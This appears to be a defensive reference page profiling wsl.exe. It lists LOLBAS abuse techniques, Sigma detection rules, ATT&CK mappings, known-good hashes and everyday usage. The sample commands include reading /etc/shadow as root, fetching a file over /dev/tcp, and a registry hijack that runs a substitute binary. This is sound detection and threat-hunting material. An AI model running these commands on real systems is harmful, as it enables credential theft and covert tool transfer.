Ceplin Command Identifier

Identifier / Programs / Windows

wsl.exe

Manage the Windows Subsystem for Linux. tldr-pages

LOLBAS Execute, Download 12 Sigma rules name it 5 ATT&CK techniques 5 documented commands 3 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How wsl.exe is abused

documented by LOLBAS

Execute T1202 Indirect Command Execution

-e

Execute T1202 Indirect Command Execution

-u
-e

Execute T1202 Indirect Command Execution

--exec
-c

Download T1105 Ingress Tool Transfer

--exec
-c

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wsl.exe.

5 documented commands

from LOLBAS, each read by the identifier

Execute T1202 Indirect Command Execution User privileges

Executes calc.exe from wsl.exe

wsl.exe -e /mnt/c/Windows/System32/calc.exe
Identify

Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)

Execute T1202 Indirect Command Execution User privileges

Cats /etc/shadow file as root

wsl.exe -u root -e cat /etc/shadow
Identify

Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)

Execute T1202 Indirect Command Execution User privileges

Executes Linux command (for example via bash) as the default user (unless stated otherwise using -u <username>) on the default WSL distro (unless stated otherwise using -d <distro name>)

wsl.exe --exec bash -c "{CMD}"
Identify

Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)

Download T1105 Ingress Tool Transfer User privileges

Downloads file from 192.168.1.10

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Identify

Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)

Execute T1218 System Binary Proxy Execution User privileges

When executed, wsl.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.

wsl.exe
Identify

Trips no Sigma process-creation rule.

4 of the 5 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for wsl.exe, by Matthew Brown, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wsl.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highSuspicious WSL Binary Hijack via Proxy ExecutionSwachchhanda Shrawan Poudel (Nextron Systems)
highInstallation of WSL Kali-LinuxSwachchhanda Shrawan Poudel (Nextron Systems)
highSuspicious WSL Binary MasqueradingSwachchhanda Shrawan Poudel (Nextron Systems)
mediumArbitrary Command Execution Using WSLoscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
criticalSuspicious Child Process Of Veeam DabataseNasreddine Bencherchali (Nextron Systems)
highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)
highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
highSuspicious Child Process Of SQL ServerFPT.EagleEye Team, wagga
highSystem File Execution Location AnomalyFlorian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
highSuspicious Processes Spawned by WinRMAndreas Hunkeler (@Karneades), Markus Neis
mediumPotentially Suspicious Execution Of PDQDeployRunnerNasreddine Bencherchali (Nextron Systems)
mediumVisual Studio Code Tunnel Shell ExecutionNasreddine Bencherchali (Nextron Systems)
T1036.005Masquerading: Match Legitimate Resource Name or Location
T1059Command and Scripting Interpreter
T1105Ingress Tool Transfer
T1202Indirect Command Execution
T1218System Binary Proxy Execution

Is it the real wsl.exe?

file version info and known copies
Installed inC:\Windows\system32\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionMicrosoft Windows Subsystem for Linux Launcher

3 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wsl.exe · signed by Microsoft Windows

6d9d361265c9fb27d66e1b823076e631ecc0c88ee0bf4bbef4b5ed1df82bea38

10.0.19041.1151 (WinBuild.160101.0800) · C:\Windows\system32\wsl.exe · signed by Microsoft Windows

9fbb5b45c7e911d37e88f6eda4d5d237f20f651235667eadaaa097b08eb8cc48

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\wsl.exe · signed by Microsoft Windows

acbcb4d41833b98660908027fe0033a705e6d647fc3ca3a08b6fbb449f6664c0

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Start a Linux shell (in the default distribution)

wsl shell_commandIdentify

Run a Linux command without using a shell

wsl --exec command command_argumentsIdentify

Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)

Specify a particular distribution

wsl --distribution distribution shell_commandIdentify

Of the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.